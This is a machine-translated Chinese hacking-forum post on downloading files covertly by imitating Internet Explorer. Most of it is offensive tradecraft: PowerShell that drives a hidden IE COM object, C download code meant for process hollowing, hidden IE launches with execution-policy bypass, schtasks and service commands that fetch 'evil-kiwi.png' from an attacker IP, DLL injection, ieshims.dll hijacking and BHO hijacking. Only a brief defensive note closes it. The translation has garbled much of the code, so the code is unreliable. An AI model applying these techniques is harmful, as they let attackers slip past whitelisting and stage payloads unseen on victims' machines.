跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技巧——模拟IE浏览器下载文件


Xiao7

推荐的帖子

0x00 前言

在之前的文章《渗透技巧——从github下载文件的多种方法》中介绍了几种通过cmd从github下载文件的方法,选择了最短的实现代码(长度25)。

本文将从另一个角度介绍在Windows系统下模拟IE浏览器下载文件的方法。

模拟IE浏览器下载文件,不仅可以绕过白名单程序的拦截,还可以在一定程度上隐藏下载行为。因此,本文将从利用的角度介绍具体的利用方法,并结合利用方法总结防御思路。

0x01 简介

本文将介绍以下内容:

模拟IE浏览器下载文件的几种方法

分析优势和劣势

总结辩护思路

0x02 实现方法

由于方法很多,本文做了一个简单的分类,整体分为主动和被动两种模式。

主动模式代表通过命令主动下载文件,被动模式代表劫持用户的行为,在用户打开IE时实现文件下载。

其中,主动模式也要通过当前后台进程是否有IE浏览器进程iexplore.exe来区分。

具体方法如下:

1、主动模式

(1) 后台无IE进程

a) 调用IE COM对象

参考链接:

https://adapt-and-attack . com/2017/12/19/internet explorer-application-for-C2/

该文件通过COM对象InternetExplorer下载。应用程序,后台进程是iexplore.exe。

Powershell代码如下:

$ ie _ com=New-Object-com Object internet explorer。应用

$ie_com。Silent=$True

$ie_com。Visible=$False

$Headers='Host:

$ie_com。navigate 2(' http://192 . 168 . 62 . 131/index . html ',14,0,$Null,$Headers)

while($ie_com.busy -eq $true) {

启动-睡眠-毫秒100

}

$html=$ie_com.document.GetType()。InvokeMember('body ',[System。reflection . binding flags]:GetProperty,$Null,$ie_com.document,$Null)。InnerHtml

$html

$ie_com。quit();

注:

如果IE从来没有运行过,执行上面的代码会提示一个框。

Powershell代码引自https://gist . github . com/leoleooobeek/f 468d 34 e 81795239 a 8 f 8 BAC 03646 cf 59,其中还包含了cs、js和vbs的实现方法。

b) Process Hollowing

参考文章:

《傀儡进程的实现与检测》

创建一个傀儡进程iexplore.exe,传入参数CREATE_SUSPENDED来挂起进程,清除iexplore.exe进程的内存数据,申请新内存,写净荷,恢复注册环境,下载文件。

C实现的文件下载代码如下:

#包括

#包括

#包括

#定义MAXBLOCKSIZE 1024

#pragma注释(lib,' wininet . lib ');

无效下载(const char *Url,const char *save_as)

{

byte Temp[MAXBLOCKSIZE];

ULONG数=1;

文件*流;

HINTERNET h session=INTERNET OPEN((LPCSTR)'菜鸟/1.0 ',INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);

if (hSession!=空)

{

HINTERNET handle 2=INTERNET openurl(h session,(LPCSTR)Url,NULL,0,INTERNET_FLAG_DONT_CACHE,0);

if (handle2!=空)

{

fopen_s(stream,save_as,' WB ');

while(数字0)

{

InternetReadFile(handle2,Temp,MAXBLOCKSIZE - 1,Number);

fwrite(Temp,sizeof (char),Number,stream);

}

fclose(流);

InternetCloseHandle(handle 2);

handle2=NULL

}

InternetCloseHandle(h session);

hSession=NULL

}

}

int main(int argc,char* argv[]){

下载(' https://github . com/3g student/test/raw/master/putty . exe ',' c:\ \ test \ \ putty . exe ');

返回0;

}

打开防火墙监控,下载过程是Internet Explorer,完整测试如下

1-1.gif

c) Process Doppelganging

参考文章:

《Process-Doppelganging利用介绍》

原理类似于进程镂空,实现思路是打开一个普通文件,创建事务;在这个事务中填充有效载荷,有效载荷作为一个进程启动;回滚事务

注意,进程Doppelganging需要写入普通文件。如果您使用的是iexplore.exe,您需要获得受信任的安装程序权限。有关获取可信安装程序权限的方法,请参考文章:

《渗透技巧——Token窃取与利用》

d) 隐蔽启动IE,访问特定网址,通过缓存获得下载的文件

第一种思维方式:

启动CMDIE,访问URL,通过缓存获取下载的文件。

启动' C:\ Program Files \ Internet Explorer \ ie xplore . exe ' http://192 . 168 . 62 . 131/evil-kiwi . png

注:

这种方式会打开IE界面,但是可以被API ShowWindowAsync隐藏。powershell实现脚本:

https://github . com/3g student/write up/blob/master/hidden process . PS1

第二种思维方式:

通过powershell偷偷启动IE,访问网站,通过缓存获取下载的文件。

powershell-execution policy bypass-Command ' Start-Process-file path ' C:\ Program Files \ Internet Explorer \ ie xplore . exe '-argument list http://192 . 168 . 62 . 131/evil-kiwi . png-window style Hidden '

以上两个想法通过IE访问URL后,缓存文件会保存在以下位置:

win 7:% local appdata % \ Microsoft \ Windows \ Internet临时文件

Win8、win 10:% local appdata % \ Microsoft \ Windows \ INetCache \ IE

您可以使用通配符来获取不同系统中缓存文件的路径。该命令如下所示:

dir %LOCALAPPDATA%\*evil-kiwi*。巴布亚新几内亚/南苏丹

以上两种思路都会在IE浏览器中留下历史记录,历史记录对应的路径是:% local appdata % \ Microsoft \ windows \ history \

此方法的父进程是powershell.exe,但它可以通过令牌复制来更改(例如,SelectMyParent,Invoke-TokenManipulation.ps1)

第三种思维方式:

使用预定任务启动IE,访问网站,通过缓存获取下载的文件(需要管理员权限)

命令1:

6:34 ' C:\ Program Files \ Internet Explorer \ ie xplore . exe ' http://192 . 168 . 62 . 131/evil-kiwi . png

命令2:

schtasks/create/RU SYSTEM/RP ' '/SC ONCE/TN test1/TR ' C:\ Program Files \ Internet Explorer \ ie xplore . exe http://192 . 168 . 62 . 131/evil-kiwi . png '/ST 06:34/F

因为预定任务的权限是system,所以启动的IE浏览器界面无法在用户桌面查看,缓存位置也不一样。常见路径是% windir % \ system32 \ config \ system profile \ appdata \ local \ Microsoft \ windows \

您可以使用通配符来获取不同系统中缓存文件的路径。该命令如下所示:

dir %windir%\*evil-kiwi*。巴布亚新几内亚/南苏丹

所以预定任务打开的IE浏览器是没有历史的,父进程是svchost.exe。

第四种思维方式:

创建一个服务启动IE,访问URL,通过缓存获取下载的文件。

sc create Test1 type=own binpath=' C:\ Program Files \ Internet Explorer \ ie xplore . exe '

sc开始测试1

对于以这种方式启动的服务,调用程序需要能够与SCM(服务控制管理器)进行交互,但iexplorer.exe不支持此功能。

服务可以通过其他方式创建。

注:

在你启动隐藏的IE,访问一个特定的URL,通过缓存获取下载的文件后,你需要手动结束IE进程。

e) 隐蔽启动ie,进行DLL注入(APC、Atombombing)

隐藏的IE启动后,IE进程被注入dll,dll实现下载文件的功能。

APC注入的代码可以参考:

https://github.com/3gstudent/Inject-dll-by-APC

Atombombing可以理解为APC注入的升级版。请参考文章:

《AtomBombing利用分析》

(2) 后台有IE进程

a) DLL注入(APC、Atombombing)

方法同上,此处不再赘述。

2、被动模式

a) DLL劫持

这里只举一个例子:c:\ program files \ internet explorer \ ieshims.dll。

IE浏览器打开时会加载dll

DLL开发思路:

您可以使用exportstoc工具下载地址:

https://github.com/michaellandi/exportstoc

生成方法可以参考文章:

https://3g student . github . io/Study-Notes-Weekly-no . 1(Monitor-WMI _ ExportsToC _ Use-disk clean up-bypass-UAC)

原dll是保留的,启动时需要互斥,避免多次启动。

b) BHO

使用BHO(浏览器助手对象)劫持IE浏览器,并在浏览器页面打开时下载文件。请参考文章:

《利用BHO实现IE浏览器劫持》

0x03 小结

总结一下,模拟IE浏览器下载文件的实现方法如下:

(1)主动模式

后台目前没有IE进程:

调用IE COM对象

过程空洞化

过程二重性

启动隐藏的IE,访问特定的URL,通过缓存获取下载的文件。

由cmd开始

按服务启动

创建服务启动

隐藏IE并执行DLL注入(APC,Atombombing)

后台目前有IE进程:

DLL注入(APC,Atombombing)

(2)被动模式

DLL劫持

BHO

从防御的角度来说,要注意iexplore.exe的父进程是否可疑,以不应对主动模式。针对DLL注入和DLL劫持,可以监控敏感API的调用;对于BHO对象,可以监视特定的注册表。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...